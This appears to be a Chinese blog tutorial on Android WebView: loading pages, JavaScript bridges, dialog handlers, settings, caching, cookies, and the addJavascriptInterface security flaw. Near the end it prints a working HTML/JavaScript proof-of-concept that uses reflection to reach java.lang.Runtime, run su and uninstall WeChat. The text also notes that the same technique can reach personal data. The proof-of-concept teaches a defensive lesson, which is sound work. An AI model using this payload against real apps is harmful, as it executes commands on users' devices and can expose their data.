編輯:關於Android編程
基本使用
使用WebView通常是需要網絡的,所以需要加上訪問網絡的權限
<uses-permission android:name="android.permission.INTERNET" />
1.加載某個url的方法
WebView.loadUrl("http://www.baidu.com");
需要注意的是不要省略前面的http://,省略的話,某些ROM中的WebView會加載失敗
2.加載assets中的HTML
WebView.loadUrl("file:///android_asset/xxx.html")
3.加載一段javascript
WebView.loadUrl("javascript:" + ${js_code})
4.為js提供本地方法
如下,提供一個showToast的方法給javascript
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>
注意:
5.頁面跳轉
webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (Uri.parse(url).getHost().equals("www.xxx.com")) { // 自己的頁面,直接使用WebView加載 return false; } // 別的公司的頁面,使用浏覽器打開 Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); return true; } });
6.訪問歷史回退
@Override public boolean onKeyDown(int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) { webView.goBack(); return true; } return super.onKeyDown(keyCode, event); }
7.在Logcat中輸出javascript的日志信息
重寫WebChromeClient中的onConsoleMessage方法
@Override public boolean onConsoleMessage(ConsoleMessage consoleMessage) { Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber()); return true; }
8.支持javascript的警告框 alert
重寫WebChromeClient中的onJsAlert方法
@Override public boolean onJsAlert(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsAlert") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setCancelable(false) .show(); return true; }
9.支持javascript的確認框 confirm
重寫WebChromeClient中的onJsConfirm方法
@Override public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsConfirm") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }
10.支持javascript提問框 prompt
重寫WebChromeClient中的onJsPrompt方法
@Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) { final EditText et = new EditText(MainActivity.this); et.setText(defaultValue); new AlertDialog.Builder(MainActivity.this) .setTitle(message) .setView(et) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(et.getText().toString()); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }
11.顯示空白頁
WebView.loadUrl("about:blank"); //該方法使得WebView只會繪制一個白色背景,並且釋放之前加載頁面時使用的資源,並停止之前javascript的執行
12.清除返回棧 WebView.clearHistory
13.獲得訪問歷史列表 WebView.copyBackForwardList
14.下載 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume
pauseTimers, onPause 停止解析,javascript執行等操作.區別是 onPause 只作用於調用它的WebView,而 pauseTimers 作用於當前應用中所有的WebView
resumeTimers, onResume 恢復解析,javascript執行等操作.區別是 onResume 只作用於調用它的WebView,而 resumeTimers 作用於當前應用中所有的WebView
常用設置
1.安全相關(去掉不必要的JavaBridge)
//這個Java Bridge是WebView自己添加的 //在Api 17以前,javascript可以通過java對象進行反射,執行一些不安全的操作 webView.removeJavascriptInterface("searchBoxJavaBridge_");
2.js相關
//設置支持javascript,默認是false WebSettings.setJavaScriptEnabled(true);
3.縮放相關
//使WebView支持通過手勢或者縮放控制器來縮放頁面,默認是true //該設置不影響 WebView.zoomIn()和WebView.zoomOut() WebSettings.setSupportZoom(true); //設置使用默認的縮放控制器,默認是false WebSettings.setBuiltInZoomControls(true); //不顯示默認的+/-縮放控制View, 默認是true WebSettings.setDisplayZoomControls(false); 加載圖片策略相關 //設置是否自動加載圖片,默認是`true`,如果設置為`false`,那麼所有圖片都不會被加載,包括本地圖片. WebSettings.setLoadsImagesAutomatically(true); //設置是否阻止加載網絡圖片,默認是`false`,如果設置為`true`,那麼網絡圖片將不會加載.(可以先設置為true,然後再設置為false,來加快頁面加載速度) WebSettings.setBlockNetworkImage(false); //設置是否阻止加載網絡資源(不僅僅是圖片),默認是`false`,如果設置為`true`,那麼網絡上的js,css,圖片等資源都不會加載 WebSettings.setBlockNetworkLoads(false);
4.渲染相關
//設置渲染線程的優先級 //該方法在 Api 18之後被廢棄,優先級由WebView自己管理 //不過任然建議將其設置為 HIGH,來提高頁面渲染速度 WebSettings.setRenderPriority(RenderPriority.HIGH); Viewport相關 //設置使用 寬 的Viewpoint,默認是false //Android browser以及chrome for Android的設置是`true` //而WebView的默認設置是`false` //如果設置為`true`,那麼網頁的可用寬度為`980px`,並且可以通過 meta data來設置 //如果設置為`false`,那麼可用區域和WebView的顯示區域有關. WebSettings.setUseWideViewPort(true); //如果webview內容寬度大於顯示區域的寬度,那麼將內容縮小,以適應顯示區域的寬度, 默認是false WebView.setLoadWithOverviewMode(true); <!--如果WebSettings.getUseWideViewPort 是true, 那麼可以通過meta來設置 Viewport --> <!--例如將其可用寬度設置為 480px, 並且禁用縮放功能--> <head> <meta name="viewport" content="width=480, user-scalable=no" /> </head> <!--如果WebSettings.getUseWideViewPort 是false, 那麼 不能 通過meta來設置-->
其效果類似於:
<meta name="viewport" content="width=device-width"/>
注意: 這裡的px和通常說的像素不同,他和dp的概念非常類似. 參見 Mozilla
前端存儲相關設置(方便前端工程師在客戶端存儲數據)
//支持H5的 application cache 的功能 WebSettings.setAppCacheEnabled(true); //設置 application cache 的存儲路徑(通常存儲js,css,圖片等) WebSetting.setAppCachePath("xxx"); //支持 H5 的session storage和local storage WebSettings.setDomStorageEnabled(true); //支持javascript讀,寫db WebSettings.setDatabaseEnabled(true); //設置js創建的db文件的路徑, Api 19以後廢棄,直接有webview管理 WebSettings.setDatabasePath("xxx");
5.緩存相關設置
//設置加載資源時,如何使用cache //默認設置是:WebSettings.LOAD_DEFAULT //當WebView正常加載一個頁面時,如果緩存命中且沒有過期,則使用緩存數據,否則從網絡加載,當WebView.goBack()時,如果緩存命中,直接使用,不會驗證是否過期 //可用的其他設置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);
6.cookie相關
public static void synCookies(Context context, String url) { CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setAcceptCookie(true);//默認就是true cookieManager.setCookie(url, cookies); if(Build.VERSION.SDK_INT < 21) { CookieSyncManager.createInstance(context).sync(); } else { cookieManager.flush(); } }
addJavascriptInterface的安全問題
1.為javascript提供native接口的途徑
Android WebView 提供一個addJavascriptInterface方法來為javascript創建一個JavaBridge.
例如給js提供一個showToast的方法:
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>
2.安全問題
Api 17之前,在WebView為javascript提供了java對象之後, 可以利用javascript代碼調用java的反射Api,進行一些hack操作,導致安全性問題.(<font color=red>注意: </font>低版本的WebView會自己添加一個searchBoxJavaBridge_對象,通常我們需要自己移除)
Api 17之後,WebView會禁止javascript調用沒有添加@JavascriptInterface方法,從而避免上述問題.(<font color=red>注意: </font>推薦大家始終添加@JavascriptInterface,而不用關心Api版本,因為annotation缺失並不會導致ClassNotFoundException,而僅僅是被jvm忽略)
安全問題示例 (通過javascript卸載微信)
通過反射可以干很多事情,比如類似於 UserInfo 這樣的對象,如果他是單例的話,那麼很容易可以取到用戶的 用戶名,郵箱,手機號 等信息.
此處展示一個簡單的頁面,當通過WebView打開這個HTML,手機上的微信就會被卸載(當然前提是該app擁有root權限).
<html> <head> <script> function toByteArray(str) { var ch, stack, result = []; for(var i = 0; i < str.length; ++i) { ch = str.charCodeAt(i); stack = []; do { stack.push(ch & 0xFF); ch = ch >> 8; } while(ch); result = result.concat(stack.reverse()); } return result; } function execCmd(outputStream) { var cmd = "adb shell pm uninstall com.tencent.mm"; outputStream.write(toByteArray(cmd)); outputStream.close(); } function toString(inputStream) { var result = ""; var c; while((c = inputStream.read()) != -1) { var s = String.fromCharCode(c); result += s; } return result; } function hack() { for(var obj in window) { if("getClass" in window[obj]) { console.log(obj); var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null); var p = runtime.exec(["su"]); execCmd(p.getOutputStream()); alert(toString(p.getInputStream())); break; } } } hack(); </script> </head> <body> 卸載微信 :) </body> </html>
Android中自定義View的實現比較簡單,無非就是繼承父類,然後重載方法,即便如此,在實際編碼中難免會遇到一些坑,我把自己遇到的一些問題和解決方法總結一下,希望對廣大
啥都不說先上效果圖把.. 這個是我項目裡的效果![這裡寫圖片描述] 下面的是我抽取出來的 demo 適配啥的我基本上都做好了沒做其他的
(一)帶陰影的TextView涉及到的幾個屬性:運行效果如下:實現代碼: (二)帶邊框的TextView:簡單說下shapeDrawable資源文件的幾個節點及其屬性:運
一、前言好久沒有更新過博客了,趁今天有空分享一個導航欄的自定義控件。有關此控件的demo相信在網上已經爛大街了,一搜一大把。我現在只著重分享一些我認為比較難理解的知識點。